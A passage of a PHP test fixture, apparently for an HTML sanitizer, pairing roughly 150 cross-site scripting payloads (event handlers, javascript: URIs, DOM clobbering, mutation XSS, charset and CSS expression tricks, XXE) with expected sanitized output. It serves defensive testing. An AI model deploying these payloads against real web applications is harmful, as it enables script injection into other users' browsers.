'expected' => '<img src="data:image/jpeg,ab798ewqxbaudbuoibeqbla" />',
],
[
'title' => 'Image with JavaScript URI src (DoS on Firefox)',
'payload' => "<img src='javascript:while(1){}'>",
'expected' => '<img src="#" />',
],
[
'title' => 'Link with data URI href',
'payload' => '<a href=data:,evilnastystuff>clickme</a>',
'expected' => '',
],
[
'title' => 'Simple numbers',
'payload' => '123456',
'expected' => '123456',
],
[
'title' => 'DOM clobbering XSS by @irsdl using attributes',
'payload' => "<form onmouseover='alert(1)'><input name=\"attributes\"><input name=\"attributes\">",
'expected' => '<form><input name="attributes" /><input name="attributes" />',
],
[
'title' => 'DOM clobbering: getElementById',
'payload' => '<img src=x name=getElementById>',
'expected' => '',
],
[
'title' => 'DOM clobbering: location',
'payload' => '<a href="#some-code-here" id="location">invisible',
'expected' => '<a href="#some-code-here" id="location">invisible',
],
[
'title' => 'onclick, onsubmit, onfocus; DOM clobbering: parentNode',
'payload' => '<div onclick=alert(0)><form onsubmit=alert(1)><input onfocus=alert(2) name=parentNode>123</form></div>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: nodeName',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=nodeName>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: nodeType',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=nodeType>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: children',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=children>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: attributes',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=attributes>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: removeChild',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeChild>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: removeAttributeNode',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>',
'expected' => '',
],
[
'title' => 'onsubmit, onfocus; DOM clobbering: setAttribute',
'payload' => '<form onsubmit=alert(1)><input onfocus=alert(2) name=setAttribute>123</form>',
'expected' => '',
],
[
'title' => '&gt;style&lt;',
'payload' => '<style>*{color: red}</style>',
'expected' => '*{color: red}',
],
[
'title' => 'HTML paragraph with text',
'payload' => '<p>hello</p>',
'expected' => '<p>hello</p>',
],
[
'title' => 'mXSS Variation I',
'payload' => '<listing>&lt;img onerror="alert(1);//" src=x&gt;<t t></listing>',
'expected' => '&lt;img onerror=&quot;alert(1);//&quot; src=x&gt;',
],
[
'title' => 'mXSS Variation II',
'payload' => "<img src=x id/=' onerror=alert(1)//'>",
'expected' => '',
],
[
'title' => 'Textarea and comments enabling img element',
'payload' => '<textarea>@shafigullin</textarea><!--</textarea><img src=x onerror=alert(1)>-->',
'expected' => '<textarea>@shafigullin</textarea>',
],
[
'title' => 'Img element inside noscript terminated inside comment',
'payload' => '<b><noscript><!-- </noscript><img src=x onerror=alert(1) --></noscript>',
'expected' => '<b>',
],
[
'title' => 'Img element inside noscript terminated inside attribute',
'payload' => '<b><noscript><a alt="</noscript><img src=x onerror=alert(1)>"></noscript>',
'expected' => '<b>',
],
[
'title' => 'Img element inside shadow DOM template',
'payload' => '<body><template><s><template><s><img src=x onerror=alert(1)>@shafigullin</s></template></s></template>',
'expected' => '<template><s><template><s>',
],
[
'title' => 'Low-range-ASCII obfuscated JavaScript URI',
'payload' => "<a href=\"\u0001java\u0003script:alert(1)\">@shafigullin<a>",
'expected' => '<a href="#">@shafigullin<a>',
],
[
'title' => 'Img inside style inside broken option element',
'payload' => "\u0001<option><style></option></select><b><img src=x onerror=alert(1)></style></option>",
'expected' => "\u0001<option>",
],
[
'title' => 'Iframe inside option element',
'payload' => '<option><iframe></select><b><script>alert(1)</script>',
'expected' => '<option><iframe>',
],
[
'title' => 'Closing Iframe and option',
'payload' => '</iframe></option>',
'expected' => '',
],
[
'title' => 'Image after style to trick jQuery tag-completion',
'payload' => '<b><style><style/><img src=x onerror=alert(1)>',
'expected' => '<b>',
],
[
'title' => 'Image after self-closing style to trick jQuery tag-completion',
'payload' => '<b><style><style////><img src=x onerror=alert(1)></style>',
'expected' => '<b>',
],
[
'title' => 'DOM clobbering attack using name=body',
'payload' => '<image name=body><image name=adoptNode>@mmrupp<image name=firstElementChild><svg onload=alert(1)>',
'expected' => '',
],
[
'title' => 'Special esacpes in protocol handler for XSS in Blink',
'payload' => "<a href=\"\u0001java\u0003script:alert(1)\">@shafigullin<a>",
'expected' => '<a href="#">@shafigullin<a>',
],
[
'title' => 'DOM clobbering attack using activeElement',
'payload' => '<image name=activeElement><svg onload=alert(1)>',
'expected' => '',
],
[
'title' => 'DOM clobbering attack using name=body and injecting SVG + keygen',
'payload' => '<image name=body><img src=x><svg onload=alert(1); autofocus>, <keygen onfocus=alert(1); autofocus>',
'expected' => '',
],
[
'title' => 'Bypass using multiple unknown attributes',
'payload' => '<div onmouseout="javascript:alert(/superevr/)" x=yscript: n>@superevr</div>',
'expected' => '',
],
[
'title' => 'Bypass using event handlers and unknown attributes',
'payload' => '<button remove=me onmousedown="javascript:alert(1);" onclick="javascript:alert(1)" >@giutro',
'expected' => '',
],
[
'title' => 'Bypass using DOM bugs when dealing with JS URIs in arbitrary attributes',
'payload' => '<a href="javascript:123" onclick="alert(1)">CLICK ME (bypass by @shafigullin)</a>',
'expected' => '<a href="#">CLICK ME (bypass by @shafigullin)</a>',
],
[
'title' => 'Bypass using DOM bugs when dealing with JS URIs in arbitrary attributes (II)',
'payload' => '<isindex x="javascript:" onmouseover="alert(1)" label="variation of bypass by @giutro">',
'expected' => '',
],
[
'title' => 'Bypass using unknown attributes III',
'payload' => '<div wow=removeme onmouseover=alert(1)>text',
'expected' => '',
],
[
'title' => 'Bypass using unknown attributes IV',
'payload' => '<input x=javascript: autofocus onfocus=alert(1)><svg id=1 onload=alert(1)></svg>',
'expected' => '',
],
[
'title' => 'Bypass using unknown attributes V',
'payload' => '<isindex src="javascript:" onmouseover="alert(1)" label="bypass by @giutro" />',
'expected' => '',
],
[
'title' => 'Bypass using JS URI in href',
'payload' => '<a href="javascript:123" onclick="alert(1)">CLICK ME (bypass by @shafigullin)</a>',
'expected' => '<a href="#">CLICK ME (bypass by @shafigullin)</a>',
],
[
'title' => '',
'payload' => "<form action=\"javasc\nript:alert(1)\"><button>XXX</button></form>",
'expected' => '<form action="#"><button>XXX</button></form>',
],
[
'title' => '',
'payload' => "<div id=\"1\"><form id=\"foobar\"></form><button form=\"foobar\" formaction=\"javascript:alert(1)\">X</button>//[\"'`-->]]>]</div>",
'expected' => '<div id="1"><form id="foobar"></form><button form="foobar" formaction="#">X</button>',
],
[
'title' => '',
'payload' => "<div id=\"2\"><meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//[\"'`-->]]>]</div>",
'expected' => '<div id="2">',
],
[
'title' => '',
'payload' => "<div id=\"3\"><meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[\"'`-->]]>]</div>",
'expected' => '<div id="3">',
],
[
'title' => '',
'payload' => "<div id=\"4\">0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//[\"'`-->]]>]</div>",
'expected' => '<div id="4">0?Worker(&quot;#&quot;).onmessage=function(_)eval(_.data)',
],
[
'title' => '',
'payload' => "<div id=\"5\"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"5\">crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')",
],
[
'title' => '',
'payload' => "<div id=\"6\"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="6">({set/**/$($){_/**/setter=$,_=1}}).$=alert',
],
[
'title' => '',
'payload' => "<div id=\"7\"><input onfocus=alert(7) autofocus>//[\"'`-->]]>]</div>",
'expected' => '<div id="7">',
],
[
'title' => '',
'payload' => "<div id=\"8\"><input onblur=alert(8) autofocus><input autofocus>//[\"'`-->]]>]</div>",
'expected' => '<div id="8">',
],
[
'title' => '',
'payload' => "<div id=\"9\"><a style=\"-o-link:'javascript:alert(9)';-o-link-source:current\">X</a>//[\"'`-->]]>]</div>\n\n<div id=\"10\"><video poster=javascript:alert(10)//></video>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"9\"><a style=\"-o-link:'javascript:alert(9)';-o-link-source:current\">X</a>",
],
[
'title' => '',
'payload' => "<div id=\"11\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(11)\"></g></svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="11">',
],
[
'title' => '',
'payload' => "<div id=\"12\"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//[\"'`-->]]>]</div>",
'expected' => '<div id="12">',
],
[
'title' => '',
'payload' => "<div id=\"13\"><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>//[\"'`-->]]>]</div>",
'expected' => '<div id="13">01',
],
[
'title' => '',
'payload' => "<div id=\"14\"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//[\"'`-->]]>]</div>",
'expected' => '<div id="14">',
],
[
'title' => '',
'payload' => "<div id=\"15\"><script>({0:#0=alert/#0#/#0#(0)})</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="15">({0:#0=alert/#0#/#0#(0)})',
],
[
'title' => '',
'payload' => "<div id=\"16\">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//[\"'`-->]]>]</div>",
'expected' => '<div id="16">X',
],
[
'title' => '',
'payload' => "<div id=\"17\"><?xml-stylesheet href=\"javascript:alert(17)\"?><root/>//[\"'`-->]]>]</div>",
'expected' => '<div id="17">&gt;?xml-stylesheet href=&quot;javascript:alert(17)&quot;?&lt;',
],
[
'title' => '',
'payload' => "<div id=\"18\"><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="18">alert(1)',
],
[
'title' => '',
'payload' => "<div id=\"19\"><meta charset=\"x-mac-farsi\">\u00BCscript \u00BEalert(19)//\u00BC/script \u00BE//[\"'`-->]]>]</div>",
'expected' => '<div id="19">',
],
[
'title' => '',
'payload' => "<div id=\"20\"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"20\">ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x",
],
[
'title' => '',
'payload' => "<div id=\"21\"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"21\">Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()",
],
[
'title' => '',
'payload' => "<div id=\"22\"><input onblur=focus() autofocus><input>//[\"'`-->]]>]</div>",
'expected' => '<div id="22">',
],
[
'title' => '',
'payload' => "<div id=\"23\"><form id=foobar onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//[\"'`-->]]>]</div>",
'expected' => '<div id="23">',
],
[
'title' => '',
'payload' => "<div id=\"24\">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src=\"x\"onerror=alert(24)>`>//[\"'`-->]]>]</div>",
'expected' => '<div id="24">1',
],
[
'title' => '',
'payload' => "<div id=\"25\"><script src=\"#\">{alert(25)}</script>;1//[\"'`-->]]>]</div>",
'expected' => '<div id="25">{alert(25)}',
],
[
'title' => '',
'payload' => "<div id=\"26\">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//[\"'`-->]]>]</div>",
'expected' => '<div id="26">',
],
[
'title' => '',
'payload' => "<div id=\"27\"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//[\"'`-->]]>]</div><div id=\"28\">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src=\".\"onerror=alert(28)>>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"27\">p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};",
],
[
'title' => '',
'payload' => "<div id=\"29\"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//[\"'`-->]]>]</div>",
'expected' => '<div id="29">',
],
[
'title' => '',
'payload' => "<div id=\"30\"><style>@import \"data:,*%7bx:expression(alert(30))%7D\";</style>//[\"'`-->]]>]</div>",
'expected' => '<div id="30">@import &quot;data:,*%7bx:expression(alert(30))%7D&quot;;',
],
[
'title' => '',
'payload' => "<div id=\"31\"><frameset onload=alert(31)>//[\"'`-->]]>]</div>",
'expected' => '<div id="31">',
],
[
'title' => '',
'payload' => "<div id=\"32\"><table background=\"javascript:alert(32)\"></table>//[\"'`-->]]>]</div>",
'expected' => '<div id="32"><table></table>',
],
[
'title' => '',
'payload' => "<div id=\"33\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(33);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>//[\"'`-->]]>]</div>",
'expected' => '<div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;">XXX</a></a><a href="#">XXX</a>',
],
[
'title' => '',
'payload' => "<div id=\"34\">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//[\"'`-->]]>]</div>",
'expected' => '<div id="34">1',
],
[
'title' => '',
'payload' => "<div id=\"35\">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//[\"'`-->]]>]</div>",
'expected' => '<div id="35">1',
],
[
'title' => '',
'payload' => "<div id=\"36\"><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(36)\">XXX</a>//[\"'`-->]]>]</div>",
'expected' => '<div id="36"><a style="behavior:url(#default#AnchorClick);">XXX</a>',
],
[
'title' => '',
'payload' => "<div id=\"37\"><!--<img src=\"--><img src=x onerror=alert(37)//\">//[\"'`-->]]>]</div>",
'expected' => '<div id="37">',
],
[
'title' => '',
'payload' => "<div id=\"38\"><comment><img src=\"</comment><img src=x onerror=alert(38)//\">//[\"'`-->]]>]</div><div id=\"39\"><!-- up to Opera 11.52, FF 3.6.28 -->",
'expected' => '<div id="38">',
],
[
'title' => '',
'payload' => '<![><img src="]><img src=x onerror=alert(39)//">',
'expected' => '',
],
[
'title' => '',
'payload' => "<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->\n<svg><![CDATA[><image xlink:href=\"]]><img src=x onerror=alert(2)//\"></svg>//[\"'`-->]]>]</div>",
'expected' => "\n",
],
[
'title' => '',
'payload' => "<div id=\"40\"><style><img src=\"</style><img src=x onerror=alert(40)//\">//[\"'`-->]]>]</div>",
'expected' => '<div id="40">',
],
[
'title' => '',
'payload' => '<div id="41"><li style=list-style:url() onerror=alert(41)></li>',
'expected' => '<div id="41">',
],
[
'title' => '',
'payload' => "<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//[\"'`-->]]>]</div>",
'expected' => '',
],
[
'title' => '',
'payload' => "<div id=\"42\"><head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(42)//#\">XXX</a></body>//[\"'`-->]]>]</div>",
'expected' => '<div id="42"><a href="/./,alert(42)//#">XXX</a>',
],
[
'title' => '',
'payload' => '<div id="43"><?xml version="1.0" standalone="no"?>',
'expected' => '<div id="43">&gt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot;?&lt;',
],
[
'title' => '',
'payload' => "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<style type=\"text/css\">\n@font-face {font-family: y; src: url(\"font.svg#x\") format(\"svg\");} body {font: 100px \"y\";}\n</style>\n</head>\n<body>Hello</body>\n</html>//[\"'`-->]]>]</div>",
'expected' => "\n\n\n@font-face {font-family: y; src: url(&quot;font.svg#x&quot;) format(&quot;svg&quot;);} body {font: 100px &quot;y&quot;;}\n\n\nHello\n",
],
[
'title' => '',
'payload' => "<div id=\"44\"><style>*[{}@import'test.css?]{color: green;}</style>X//[\"'`-->]]>]</div>",
'expected' => "<div id=\"44\">*[{}@import'test.css?]{color: green;}",
],
[
'title' => '',
'payload' => "<div id=\"45\"><div style=\"font-family:'foo[a];color:red;';\">XXX</div>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"45\"><div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
],
[
'title' => '',
'payload' => "<div id=\"46\"><div style=\"font-family:foo}color=red;\">XXX</div>//[\"'`-->]]>]</div>",
'expected' => '<div id="46"><div style="font-family:foo}color=red;">XXX</div>',
],
[
'title' => '',
'payload' => "<div id=\"47\"><svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(47)</script></svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="47">alert(47)',
],
[
'title' => '',
'payload' => "<div id=\"48\"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//[\"'`-->]]>]</div>",
'expected' => '<div id="48">',
],
[
'title' => '',
'payload' => "<div id=\"49\"><OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(49)\"></OBJECT>//[\"'`-->]]>]</div>",
'expected' => '<div id="49"><OBJECT><PARAM />',
],
[
'title' => '',
'payload' => "<div id=\"50\"><object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></object>//[\"'`-->]]>]</div>",
'expected' => '<div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>',
],
[
'title' => '',
'payload' => "<div id=\"51\"><embed src=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></embed>//[\"'`-->]]>]</div>",
'expected' => '<div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" />',
],
[
'title' => '',
'payload' => "<div id=\"52\"><x style=\"behavior:url(test.sct)\">//[\"'`-->]]>]</div><div id=\"53\"><xml id=\"xss\" src=\"test.htc\"></xml>",
'expected' => '<div id="52">',
],
[
'title' => '',
'payload' => "<label dataformatas=\"html\" datasrc=\"#xss\" datafld=\"payload\"></label>//[\"'`-->]]>]</div>",
'expected' => '<label></label>',
],
[
'title' => '',
'payload' => "<div id=\"54\"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"54\">[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]",
],
[
'title' => '',
'payload' => "<div id=\"55\"><video><source onerror=\"alert(55)\">//[\"'`-->]]>]</div>",
'expected' => '<div id="55"><video><source />',
],
[
'title' => '',
'payload' => "<div id=\"56\"><video onerror=\"alert(56)\"><source></source></video>//[\"'`-->]]>]</div>",
'expected' => '<div id="56"><video><source /></video>',
],
[
'title' => '',
'payload' => "<div id=\"57\"><b <script>alert(57)//</script>0</script></b>//[\"'`-->]]>]</div>",
'expected' => '<div id="57">',
],
[
'title' => '',
'payload' => "<div id=\"58\"><b><script<b></b><alert(58)</script </b></b>//[\"'`-->]]>]</div>",
'expected' => '<div id="58"><b>',
],
[
'title' => '',
'payload' => "<div id=\"59\"><div id=\"div1\"><input value=\"``onmouseover=alert(59)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>//[\"'`-->]]>]</div>",
'expected' => '<div id="59"><div id="div1"><input value="``onmouseover=alert(59)" />',
],
[
'title' => '',
'payload' => "<div id=\"60\"><div style=\"[a]color[b]:[c]red\">XXX</div>//[\"'`-->]]>]</div>",
'expected' => '<div id="60"><div style="[a]color[b]:[c]red">XXX</div>',
],
[
'title' => '',
'payload' => "<div id=\"62\"><!-- IE 6-8 -->\n<x '=\"foo\"><x foo='><img src=x onerror=alert(62)//'>\n<!-- IE 6-9 -->\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"62\">\n",
],
[
'title' => '',
'payload' => "<div id=\"63\"><embed src=\"javascript:alert(63)\"></embed> // O10.10\u2193, OM10.0\u2193, GC6\u2193, FF\n<img src=\"javascript:alert(2)\">\n<image src=\"javascript:alert(2)\"> // IE6, O10.10\u2193, OM10.0\u2193\n<script src=\"javascript:alert(3)\"></script> // IE6, O11.01\u2193, OM10.1\u2193//[\"'`-->]]>]</div>",
'expected' => "<div id=\"63\"><embed src=\"#\" /> // O10.10\u2193, OM10.0\u2193, GC6\u2193, FF\n<img src=\"#\" />\n // IE6, O10.10\u2193, OM10.0\u2193\n",
],
[
'title' => '',
'payload' => "<div id=\"64\"><!DOCTYPE x[<!ENTITY x SYSTEM \"http://html5sec.org/test.xxe\">]><y>&x;</y>//[\"'`-->]]>]</div>",
'expected' => '<div id="64">',
],
[
'title' => '',
'payload' => "<div id=\"65\"><svg onload=\"javascript:alert(65)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>//[\"'`-->]]>]</div><div id=\"66\"><?xml version=\"1.0\"?>",
'expected' => '<div id="65">',
],
[
'title' => '',
'payload' => "<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>//[\"'`-->]]>]</div>\n<div id=\"67\"><!DOCTYPE x [\n <!ATTLIST img xmlns CDATA \"http://www.w3.org/1999/xhtml\" src CDATA \"xx\"\n onerror CDATA \"alert(67)\"\n onload CDATA \"alert(2)\">\n]><img />//[\"'`-->]]>]</div>",
'expected' => "&gt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E&quot;?&lt;\n",
],
[
'title' => '',
'payload' => "<div id=\"68\"><doc xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\n <html:style /><x xlink:href=\"javascript:alert(68)\" xlink:type=\"simple\">XXX</x>\n</doc>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"68\">\n XXX\n",
],
[
'title' => '',
'payload' => "<div id=\"69\"><card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(69)\"/></onevent><timer value=\"1\"/></card>//[\"'`-->]]>]</div>",
'expected' => '<div id="69">',
],
[
'title' => '',
'payload' => "<div id=\"70\"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//[\"'`-->]]>]</div>",
'expected' => '<div id="70">',
],
[
'title' => '',
'payload' => "<div id=\"71\"><// style=x:expression\u00028alert(71)\u00029>//[\"'`-->]]>]</div>",
'expected' => '<div id="71">',
],
[
'title' => '',
'payload' => "<div id=\"72\"><form><button formaction=\"javascript:alert(72)\">X</button>//[\"'`-->]]>]</div>",
'expected' => '<div id="72"><form><button formaction="#">X</button>',
],
[
'title' => '',
'payload' => "<div id=\"73\"><event-source src=\"event.php\" onload=\"alert(73)\">//[\"'`-->]]>]</div>",
'expected' => '<div id="73">',
],
[
'title' => '',
'payload' => "<div id=\"74\"><a href=\"javascript:alert(74)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>//[\"'`-->]]>]</div>",
'expected' => '<div id="74"><a href="#"></a>',
],
[
'title' => '',
'payload' => "<div id=\"75\"><script<{alert(75)}/></script </>//[\"'`-->]]>]</div>",
'expected' => '<div id="75">',
],
[
'title' => '',
'payload' => "<div id=\"76\"><?xml-stylesheet type=\"text/css\"?><!DOCTYPE x SYSTEM \"test.dtd\"><x>&x;</x>//[\"'`-->]]>]</div>",
'expected' => '<div id="76">&gt;?xml-stylesheet type=&quot;text/css&quot;?&lt;',
],
[
'title' => '',
'payload' => "<div id=\"77\"><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(alert(77))\"/>//[\"'`-->]]>]</div>",
'expected' => '<div id="77">&gt;?xml-stylesheet type=&quot;text/css&quot;?&lt;',
],
[
'title' => '',
'payload' => "<div id=\"78\"><?xml-stylesheet type=\"text/xsl\" href=\"#\"?><img xmlns=\"x-schema:test.xdr\"/>//[\"'`-->]]>]</div>",
'expected' => '<div id="78">&gt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;#&quot;?&lt;<img />',
],
[
'title' => '',
'payload' => "<div id=\"79\"><object allowscriptaccess=\"always\" data=\"x\"></object>//[\"'`-->]]>]</div>",
'expected' => '<div id="79"><object data="x"></object>',
],
[
'title' => '',
'payload' => "<div id=\"80\"><style>*{x:\uFF45\uFF58\uFF50\uFF52\uFF45\uFF53\uFF53\uFF49\uFF4F\uFF4E(alert(80))}</style>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"80\">*{x:\uFF45\uFF58\uFF50\uFF52\uFF45\uFF53\uFF53\uFF49\uFF4F\uFF4E(alert(80))}",
],
[
'title' => '',
'payload' => "<div id=\"81\"><x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(81)\" xlink:type=\"simple\"/>//[\"'`-->]]>]</div>",
'expected' => '<div id="81">',
],
[
'title' => '',
'payload' => "<div id=\"82\"><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>//[\"'`-->]]>]</div><div id=\"83\"><x:template xmlns:x=\"http://www.wapforum.org/2001/wml\" x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript\$x:alert(83)\"><x:timer value=\"1\"/></x:template>//[\"'`-->]]>]</div>",
'expected' => '<div id="82">&gt;?xml-stylesheet type=&quot;text/css&quot; href=&quot;data:,*%7bx:expression(write(2));%7d&quot;?&lt;',
],
[
'title' => '',
'payload' => "<div id=\"84\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(84)//#x\"/>//[\"'`-->]]>]</div>",
'expected' => '<div id="84">',
],
[
'title' => '',
'payload' => "<div id=\"85\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"test.evt#x\"/>//[\"'`-->]]>]</div>",
'expected' => '<div id="85">',
],
[
'title' => '',
'payload' => "<div id=\"86\"><body oninput=alert(86)><input autofocus>//[\"'`-->]]>]</div><div id=\"87\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"javascript:alert(87)\"><rect width=\"1000\" height=\"1000\" fill=\"white\"/></a>\n</svg>//[\"'`-->]]>]</div>",
'expected' => '<div id="86">',
],
[
'title' => '',
'payload' => "<div id=\"89\"><svg xmlns=\"http://www.w3.org/2000/svg\">\n<set attributeName=\"onmouseover\" to=\"alert(89)\"/>\n<animate attributeName=\"onunload\" to=\"alert(89)\"/>\n</svg>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"89\">\n\n\n",
],
[
'title' => '',
'payload' => "<div id=\"90\"><!-- Up to Opera 10.63 -->\n<div style=content:url(test2.svg)></div>\n\n<!-- Up to Opera 11.64 - see link below -->\n\n<!-- Up to Opera 12.x -->\n<div style=\"background:url(test5.svg)\">PRESS ENTER</div>//[\"'`-->]]>]</div>",
'expected' => "<div id=\"90\">\n",
],
[
'title' => '',
'payload' => "<div id=\"91\">[A]\n<? foo=\"><script>alert(91)</script>\">\n<! foo=\"><script>alert(91)</script>\">\n</ foo=\"><script>alert(91)</script>\">\n[B]\n<? foo=\"><x foo='?><script>alert(91)</script>'>\">\n[C]\n<! foo=\"[[[x]]\"><x foo=\"]foo><script>alert(91)</script>\">\n[D]\n<% foo><x foo=\"%><script>alert(91)</script>\">//[\"'`-->]]>]</div>",
'expected' => "<div id=\"91\">[A]\n&gt;? foo=&quot;&gt;alert(91)&quot;&gt;\n",
],
[
'title' => '',
'payload' => "<div id=\"92\"><div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>//[\"'`-->]]>]</div>",
'expected' => '<div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>',
],
[
'title' => '',
